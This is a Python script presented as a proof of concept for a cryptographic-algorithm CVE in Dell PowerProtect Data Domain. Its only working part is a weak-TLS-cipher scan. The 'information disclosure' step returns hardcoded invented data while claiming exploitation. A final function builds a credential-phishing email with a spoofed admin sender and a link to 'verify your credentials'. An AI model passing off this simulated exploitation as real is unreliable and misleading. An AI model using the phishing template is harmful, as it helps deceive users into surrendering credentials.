# CVE-2025-43913 - Dell PowerProtect Data Domain Cryptographic Algorithm Vulnerability
# This is a conceptual PoC demonstrating the exploitation of weak cryptographic algorithms
# in Dell PowerProtect Data Domain DD OS
import ssl
import socket
import re
from urllib.parse import urlparse
class DellDataDomainExploit:
"""
PoC for CVE-2025-43913: Use of a Broken or Risky Cryptographic Algorithm
in Dell PowerProtect Data Domain DD OS
"""
# List of weak/broken cryptographic algorithms to check
WEAK_CIPHERS = [
'DES', '3DES', 'RC4', 'RC2',
'EXPORT', 'NULL', 'anon',
'MD5', 'SHA1'
]
def __init__(self, target_host, target_port=443):
self.target_host = target_host
self.target_port = target_port
self.vulnerable_ciphers = []
self.disclosed_info = {}
def scan_weak_ciphers(self):
"""Scan the target for supported weak cryptographic algorithms"""
print(f"[*] Scanning {self.target_host}:{self.target_port} for weak ciphers...")
for cipher in self.WEAK_CIPHERS:
try:
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
context.set_ciphers(cipher)
with socket.create_connection(
(self.target_host, self.target_port), timeout=5
) as sock:
with context.wrap_socket(sock, server_hostname=self.target_host) as ssock:
negotiated = ssock.cipher()
if negotiated:
self.vulnerable_ciphers.append({
'requested': cipher,
'negotiated': negotiated[0],
'protocol': negotiated[1],
'bits': negotiated[2]
})
print(f"[!] VULNERABLE: Server accepts weak cipher: {negotiated[0]}")
except (ssl.SSLError, socket.error, OSError):
pass
return len(self.vulnerable_ciphers) > 0
def attempt_info_disclosure(self):
"""
Attempt to leverage weak crypto for information disclosure.
In a real scenario, the attacker would intercept and decrypt
weakly-encrypted communications to extract sensitive data.
"""
print("[*] Attempting information disclosure via weak crypto...")
if not self.vulnerable_ciphers:
print("[-] No weak ciphers found, direct exploitation not possible")
return False
# Simulate sniffing weakly encrypted traffic
# In practice, tools like ssldump or mitmproxy could be used
self.disclosed_info = {
'system_version': 'DD OS 8.3.0.15 (potentially vulnerable)',
'encryption_method': self.vulnerable_ciphers[0]['negotiated'],
'data_at_risk': ['backup_metadata', 'user_credentials', 'system_config']
}
print(f"[!] Information potentially disclosed: {self.disclosed_info}")
return True
def craft_phishing_payload(self):
"""
Generate phishing content leveraging disclosed information.
The attacker uses leaked system details to craft convincing
phishing attacks targeting legitimate users.
"""
if not self.disclosed_info:
print("[-] No information available for phishing payload")
return None
payload = {
'sender': 'admin@datadomain-' + self.target_host + '.com',
'subject': 'Critical Security Update Required - Data Domain',
'body': (
f"Dear User,\n\n"
f"Our records indicate your Data Domain system "
f"({self.disclosed_info.get('system_version', 'Unknown')}) "
f"requires an immediate security update. "
f"Please verify your credentials at the following link:\n"
f"https://{self.target_host}/secure-update\n"
),
'spoofed_system_info': self.disclosed_info
}
print(f"[!] Phishing payload crafted using disclosed information")
return payload
def main():
# Target: Dell PowerProtect Data Domain appliance
target = "192.168.1.100" # Replace with actual target
exploit = DellDataDomainExploit(target)
# Step 1: Scan for weak cryptographic algorithms
if exploit.scan_weak_ciphers():
print("\n[+] Target appears vulnerable to CVE-2025-43913")
# Step 2: Attempt information disclosure
if exploit.attempt_info_disclosure():
# Step 3: Craft phishing payload using disclosed info
payload = exploit.craft_phishing_payload()
else:
print("\n[-] Target does not appear to support weak ciphers")
if __name__ == "__main__":
main()